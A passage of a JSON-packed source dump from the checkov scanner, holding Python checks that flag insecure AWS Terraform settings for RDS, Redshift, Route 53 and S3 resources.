CheckResult.UNKNOWN\n        # Performance Insights is not supported for DB2: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RDS_Fea_Regions_DB-eng.Feature.PerformanceInsights.html\n        if conf.get(\"engine\") in ([\"db2-se\"], [\"db2-ae\"]):\n            return CheckResult.UNKNOWN\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return 'performance_insights_enabled'\n\n\ncheck = RDSInstancePerformanceInsights()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSMultiAZEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RDSMultiAZEnabled(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that RDS instances have Multi-AZ enabled\"\n        id = \"CKV_AWS_157\"\n        supported_resources = ['aws_db_instance']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'multi_az'\n\n\ncheck = RDSMultiAZEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_int\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass RDSPostgreSQLLogFDWExtension(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://aws.amazon.com/security/security-bulletins/AWS-2022-004/\n        name = \"Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/)\"\n        id = \"CKV_AWS_250\"\n        supported_resources = (\"aws_rds_cluster\", \"aws_db_instance\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"engine\"]\n\n        if conf.get(\"engine\") == [\"postgres\"]:\n            self.evaluated_keys.append(\"engine_version\")\n\n            engine_version = conf.get(\"engine_version\")\n            if engine_version and isinstance(engine_version, list) and isinstance(engine_version[0], str):\n                version_parts = engine_version[0].split(\".\")\n                if 1 < len(version_parts) <= 3:\n                    major_version = force_int(version_parts[0])\n                    minor_version = force_int(version_parts[1])\n\n                    if major_version is None or minor_version is None:\n                        return CheckResult.UNKNOWN\n\n                    if major_version >= 14:\n                        return CheckResult.PASSED\n                    elif major_version == 13 and minor_version > 2:\n                        return CheckResult.PASSED\n                    elif major_version == 12 and minor_version > 6:\n                        return CheckResult.PASSED\n                    elif major_version == 11 and minor_version > 11:\n                        return CheckResult.PASSED\n                    elif major_version == 10 and minor_version > 16:\n                        return CheckResult.PASSED\n                    elif major_version == 9 and minor_version == 6:\n                        # PostgreSQL pre 10 used following versioning major.major.minor\n                        if len(version_parts) < 3:\n                            return CheckResult.UNKNOWN\n\n                        bugfix_version = force_int(version_parts[2])\n\n                        if bugfix_version is None:\n                            return CheckResult.UNKNOWN\n\n                        if bugfix_version > 21:\n                            return CheckResult.PASSED\n\n                    # everything older is not recommended to use anyway\n                    return CheckResult.FAILED\n        elif conf.get(\"engine\") == [\"aurora-postgresql\"]:\n            self.evaluated_keys.append(\"engine_version\")\n\n            engine_version = conf.get(\"engine_version\")\n            if engine_version and isinstance(engine_version, list) and isinstance(engine_version[0], str):\n                version_parts = engine_version[0].split(\".\")\n                if len(version_parts) == 2:\n                    major_version = force_int(version_parts[0])\n                    minor_version = force_int(version_parts[1])\n\n                    if major_version is None or minor_version is None:\n                        return CheckResult.UNKNOWN\n\n                    if major_version >= 12:\n                        return CheckResult.PASSED\n                    elif major_version == 11 and minor_version > 8:\n                        return CheckResult.PASSED\n                    elif major_version == 10 and minor_version > 13:\n                        return CheckResult.PASSED\n\n                    # older versions are not available for Aurora cluster\n                    return CheckResult.FAILED\n\n        # probably a non PostgreSQL instance or we couldn't render it correctly\n        return CheckResult.UNKNOWN\n\n\ncheck = RDSPostgreSQLLogFDWExtension()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass RDSPubliclyAccessible(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in RDS is not publicly accessible\"\n        id = \"CKV_AWS_17\"\n        supported_resources = ['aws_db_instance', 'aws_rds_cluster_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'publicly_accessible'\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = RDSPubliclyAccessible()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedShiftSSL.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass RedShiftSSL(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Redshift uses SSL\"\n        id = \"CKV_AWS_105\"\n        supported_resources = ['aws_redshift_parameter_group']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf):\n        if 'parameter' not in conf:\n            return CheckResult.FAILED\n        self.evaluated_keys = ['parameter']\n        for idx, elem in enumerate(conf[\"parameter\"]):\n            if isinstance(elem, dict) and elem[\"name\"][0] == \"require_ssl\" and elem[\"value\"] == [True]:\n                self.evaluated_keys = [f'parameter/[{idx}]/name', f'parameter/[{idx}]/value']\n                return CheckResult.PASSED\n\n        # no matching params\n        return CheckResult.FAILED\n\n\ncheck = RedShiftSSL()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftClusterAllowVersionUpgrade.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.enums import CheckResult\n\n\nclass RedshiftClusterAllowVersionUpgrade(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensured that Redshift cluster allowing version upgrade by default\"\n        id = \"CKV_AWS_141\"\n        supported_resources = ['aws_redshift_cluster']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"allow_version_upgrade\"\n\n\ncheck = RedshiftClusterAllowVersionUpgrade()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftClusterAutoSnap.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass RedshiftClusterAutoSnap(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 CP-10, NIST.800-53.r5 CP-6, NIST.800-53.r5 CP-6(1), NIST.800-53.r5 CP-6(2), NIST.800-53.r5 CP-9,\n        NIST.800-53.r5 SC-5(2), NIST.800-53.r5 SC-7(10), NIST.800-53.r5 SI-13(5)\n        Amazon Redshift clusters should have automatic snapshots enabled\n        \"\"\"\n        name = \"Ensure Amazon Redshift clusters should have automatic snapshots enabled\"\n        id = \"CKV_AWS_343\"\n        supported_resources = ['aws_redshift_cluster']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_attribute_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"automated_snapshot_retention_period\"\n\n    def get_forbidden_values(self):\n        return [0]\n\n\ncheck = RedshiftClusterAutoSnap()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftClusterDatabaseName.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.models.consts import ANY_VALUE\nfrom typing import Any\n\n\nclass RedshiftClusterDatabaseName(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2\n        Redshift clusters should not use the default database name\n        \"\"\"\n        name = \"Ensure Redshift clusters do not use the default database name\"\n        id = \"CKV_AWS_320\"\n        supported_resources = ('aws_redshift_cluster',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return \"database_name\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = RedshiftClusterDatabaseName()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftClusterEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RedshiftClusterEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the Redshift cluster is securely encrypted at rest\"\n        id = \"CKV_AWS_64\"\n        supported_resources = ['aws_redshift_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"encrypted\"\n\n\ncheck = RedshiftClusterEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftClusterKMSKey.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RedshiftClusterKMSKey(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Redshift cluster is encrypted by KMS\"\n        id = \"CKV_AWS_142\"\n        supported_resources = ['aws_redshift_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = RedshiftClusterKMSKey()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftClusterLogging.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RedshiftClusterLogging(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Redshift Cluster logging is enabled\"\n        id = \"CKV_AWS_71\"\n        supported_resource = ['aws_redshift_cluster']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def get_inspected_key(self):\n        return 'logging/[0]/enable'\n\n\ncheck = RedshiftClusterLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass RedshiftSnapshotCopyGrantEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure RedShift snapshot copy is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_281\"\n        supported_resources = (\"aws_redshift_snapshot_copy_grant\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = RedshiftSnapshotCopyGrantEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftClusterUseEnhancedVPCRouting.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass RedshiftClusterUseEnhancedVPCRouting(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 SC-7,\n        NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(20),\n        NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9)\n        Redshift clusters should use enhanced VPC routing\n        \"\"\"\n        name = \"Ensure Redshift clusters use enhanced VPC routing\"\n        id = \"CKV_AWS_321\"\n        supported_resources = ['aws_redshift_cluster']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return \"enhanced_vpc_routing\"\n\n\ncheck = RedshiftClusterUseEnhancedVPCRouting()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftClusterWithCommonUsernameAndPublicAccess.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass RedshiftClusterWithCommonUsernameAndPublicAccess(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Avoid AWS Redshift cluster with commonly used master username and public access setting enabled\"\n        id = \"CKV_AWS_391\"\n        supported_resources = ['aws_redshift_cluster']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'master_username' in conf:\n            if conf['master_username'][0] in ['awsuser', 'administrator', 'admin']:\n                self.evaluated_keys = ['master_username']\n                if 'publicly_accessible' in conf:\n                    if str(conf['publicly_accessible'][0]).lower() == 'true':\n                        return CheckResult.FAILED\n                else:\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = RedshiftClusterWithCommonUsernameAndPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftInEc2ClassicMode.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RedshiftInEc2ClassicMode(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Redshift is not deployed outside of a VPC\"\n        id = \"CKV_AWS_154\"\n        supported_resources = ['aws_redshift_cluster']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"cluster_subnet_group_name\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = RedshiftInEc2ClassicMode()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshiftServerlessNamespaceKMSKey.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass RedshiftServerlessNamespaceKMSKey(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Redshift Serverless namespace is encrypted by KMS using a customer managed key (CMK)\"\n        id = \"CKV_AWS_282\"\n        supported_resources = ('aws_redshiftserverless_namespace',)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = RedshiftServerlessNamespaceKMSKey()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/RedshitClusterPubliclyAvailable.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RedshiftClusterPubliclyAccessible(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Redshift cluster should not be publicly accessible\"\n        id = \"CKV_AWS_87\"\n        supported_resources = ['aws_redshift_cluster']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'publicly_accessible'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = RedshiftClusterPubliclyAccessible()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/Route53TransferLock.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass Route53TransferLock(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Route 53 domains have transfer lock protection\"\n        id = \"CKV_AWS_377\"\n        supported_resources = ('aws_route53domains_registered_domain',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'transfer_lock'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [False]\n\n\ncheck = Route53TransferLock()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3AbortIncompleteUploads.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass S3AbortIncompleteUploads(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        If you don't set this value in a lifecycle configuration you'll end up paying for s3\n        resources you never could use\n        \"\"\"\n        name = \"Ensure S3 lifecycle configuration sets period for aborting failed uploads\"\n        id = \"CKV_AWS_300\"\n        supported_resources = (\"aws_s3_bucket_lifecycle_configuration\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"rule\"]\n        rules = conf.get(\"rule\")\n        if rules and isinstance(rules, list):\n            for idx_rule, rule in enumerate(rules):\n                if rule.get(\"abort_incomplete_multipart_upload\") and rule.get(\"status\") == [\"Enabled\"]:\n                    self.evaluated_keys = [f\"rule/[{idx_rule}]/abort_incomplete_multipart_upload\"]\n                    filter_list = rule.get(\"filter\")\n                    if filter_list and isinstance(filter_list, list):\n                        # if filter is empty then rule applies to all paths so we pass\n                        found_non_empty_parameter = False\n                        for filter_item in filter_list:\n                            if isinstance(filter_item, dict):       # check each filter parameter\n                                connected = filter_item.get('and')\n                                if connected and connected[0]:\n                                    filter_item = connected[0]\n                                prefix = filter_item.get('prefix')\n                                if prefix and prefix[0]:\n                                    found_non_empty_parameter = True\n                                    continue\n                                object_size_greater_than = filter_item.get('object_size_greater_than')\n                                if object_size_greater_than and object_size_greater_than[0]:\n                                    found_non_empty_parameter = True\n                                    continue\n                                object_size_less_than = filter_item.get('object_size_less_than')\n                                if object_size_less_than and object_size_less_than[0]:\n                                    found_non_empty_parameter = True\n                                    continue\n                                tag = filter_item.get('tag')\n                                if tag and tag[0]:\n                                    found_non_empty_parameter = True\n                                    continue\n\n                        if found_non_empty_parameter:       # continue searching for rules\n                            continue\n\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = S3AbortIncompleteUploads()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3AccessPointPubliclyAccessible.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass S3AccessPointPubliclyAccessible(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure AWS S3 access point block public access setting is enabled\"\n        id = \"CKV_AWS_392\"\n        supported_resources = ['aws_s3_access_point']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'public_access_block_configuration' in conf:\n            block_config_list = conf['public_access_block_configuration']\n            if isinstance(block_config_list, list):\n                block_config = block_config_list[0]\n                if ('ignore_public_acls' in block_config and block_config['block_public_acls'] == [False] and\n                        'block_public_policy' in block_config and block_config['block_public_policy'] == [False] and\n                        'restrict_public_buckets' in block_config and\n                        block_config['restrict_public_buckets'] == [False]):\n                    self.evaluated_keys = ['public_access_block_configuration.block_public_acls',\n                                           'public_access_block_configuration.restrict_public_buckets']\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = S3AccessPointPubliclyAccessible()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py",
    "content": "from json import JSONDecodeError\nimport re\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\nimport json\nfrom typing import List\n\n\ndef check_conditions(statement) -> bool:\n    # Check if 'Condition' key exists\n    if 'Condition' not in statement:\n        return False\n\n    condition = statement['Condition']\n\n    # Pass if they define bad ARNs. Assumes they are not too narrow\n    if any(key in condition for key in ['ArnNotEquals', 'ArnNotLike']):\n        return True\n\n    # Handling 'ArnEquals' and 'ArnLike'\n    for arn_key in ['ArnEquals', 'ArnLike']:\n        if arn_key in condition:\n            # Pass unless it is for all IAM ARNs\n            for principal_key in ['aws:PrincipalArn', 'aws:SourceArn']:\n                if principal_key in condition[arn_key]:\n                    principal_arn = condition[arn_key][principal_key]\n                    # Fail if the  Condition is for all ARNs of any resource\n                    if re.match(r'^arn:aws:[a-z0-9-]+::\\*.*$', principal_arn):\n                        return False\n            # Passed if 'aws:PrincipalArn' or 'aws:SourceArn' do not match because then they are specific\n            return True\n\n    # Leaves out the NOT conditions as too broad ('StringNotEquals', 'StringNotEqualsIgnoreCase', 'StringNotLike')\n    string_conditions = ['StringEquals', 'StringEqualsIgnoreCase', 'StringLike']\n    if any(condition_type in condition for condition_type in string_conditions):\n        for condition_type in string_conditions:\n            if condition_type in condition:\n                # Purposefully not included: 'aws:SourceIp', 'aws:UserAgent', 'aws:Referer', 'aws:RequestTime',\n                # 'aws:SourceArn', 'aws:PrincipalType', 'aws:RequestTag', 'aws:SecureTransport', 'aws:SourceIp',\n                # 'aws:MultiFactorAuthPresent', 'aws:PrincipalType', all 'Properties of the request',\n                # all 'Properties of the resource', 'aws:PrincipalTag', 'aws:PrincipalIsAWSService',\n                # 'aws:PrincipalServiceName', 'aws:PrincipalServiceNamesList', 'aws:PrincipalType', 'aws:userid',\n                # 'aws:username'\n                if any(source in condition[condition_type] for source in ['aws:sourceVpce', 'aws:SourceVpc',\n                                                                          'aws:PrincipalOrgPaths', 'aws:userid',\n                                                                          'aws:PrincipalArn',\n                                                                          'aws:PrincipalAccount',\n                                                                          'aws:PrincipalOrgID',\n                                                                          'aws:Ec2InstanceSourceVpc',\n                                                                          'ec2:SourceInstanceArn',\n                                                                          'lambda:SourceFunctionArn',\n                                                                          'ssm:SourceInstanceArn']):\n                    return True\n\n    # Default fail if none of the above conditions are met\n    return False\n\n\nclass S3AllowsAnyPrincipal(BaseResourceCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure S3 bucket does not allow an action with any Principal\"\n        id = \"CKV_AWS_70\"\n        supported_resources = ['aws_s3_bucket', 'aws_s3_bucket_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'policy' not in conf.keys():\n            return CheckResult.UNKNOWN\n        if not isinstance(conf['policy'][0], str):\n            policy_block = conf['policy'][0]\n        else:\n            if \"data.aws_iam_policy_document\" in conf['policy'][0]:\n                return CheckResult.UNKNOWN\n            else:\n                try:\n                    policy_block = json.loads(conf['policy'][0])\n                except JSONDecodeError:  # nosec\n                    return CheckResult.UNKNOWN\n\n        if isinstance(policy_block, dict) and 'Statement' in policy_block.keys():\n            statements = force_list(policy_block['Statement'])\n            if all('Effect' not in statement for statement in statements):\n                return CheckResult.UNKNOWN\n            for statement in statements:\n                if 'Effect' not in statement or statement['Effect'] == 'Deny' or 'Principal' not in statement:\n                    continue\n                principal = statement['Principal']\n                if principal == '*':\n                    if check_conditions(statement):\n                        return CheckResult.PASSED\n                    return CheckResult.FAILED\n                if 'AWS' in statement['Principal']:\n                    # Can be a string or an array of strings\n                    aws = statement['Principal']['AWS']\n                    if (isinstance(aws, str) and aws == '*') or (isinstance(aws, list) and '*' in aws):\n                        if check_conditions(statement):\n                            return CheckResult.PASSED\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['policy']\n\n\ncheck = S3AllowsAnyPrincipal()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3BlockPublicACLs.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3BlockPublicACLs(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure S3 bucket has block public ACLS enabled\"\n        id = \"CKV_AWS_53\"\n        supported_resources = ['aws_s3_bucket_public_access_block']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"block_public_acls\"\n\n\nscanner = S3BlockPublicACLs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3BlockPublicPolicy.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3BlockPublicPolicy(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure S3 bucket has block public policy enabled\"\n        id = \"CKV_AWS_54\"\n        supported_resources = ['aws_s3_bucket_public_access_block']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"block_public_policy\"\n\n\nscanner = S3BlockPublicPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3BucketObjectEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3BucketObjectEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure S3 bucket Object is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_186\"\n        supported_resources = ['aws_s3_bucket_object']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = S3BucketObjectEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3BucketObjectLock.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass S3BucketObjectLock(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that S3 bucket has lock configuration enabled by default\"\n        id = \"CKV_AWS_143\"\n        supported_resources = [\"aws_s3_bucket\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        lock_conf = conf.get(\"object_lock_configuration\")\n        if lock_conf and lock_conf[0] and isinstance(lock_conf[0], dict):\n            lock_enabled = lock_conf[0].get(\"object_lock_enabled\")\n            if lock_enabled in [\"Enabled\", [\"Enabled\"]]:\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"object_lock_configuration/[0]/object_lock_enabled\"]\n\n\ncheck = S3BucketObjectLock()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/S3GlobalViewACL.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass S3GlobalViewACL(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AWS S3 bucket does not have global view ACL permissions enabled\"\n        id = \"CKV_AWS_375\"\n        supported_resource = (\"aws_s3_bucket_acl\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if 'access_control_policy' in conf:\n            for policy_idx, policy in enumerate(conf[\"access_control_policy\"]):\n                if 'grant' in policy:\n                    for grant_idx, grant in enumerate(policy[\"grant\"]):\n                        self.evaluated_keys = [f\"access_control_policy/[{policy_idx}]/grant/[{grant_idx}]/permission\"]\n                        if (isinstance(grant, dict) and 'permission' in grant and\n                                ('FULL_CONTROL' in grant.get('permission') or 'READ_ACP' in grant.get('permission'))):\n                            if 'grantee' in grant:\n                                for grantee in grant.get('grantee'):\n                                    if 'uri' in grantee and 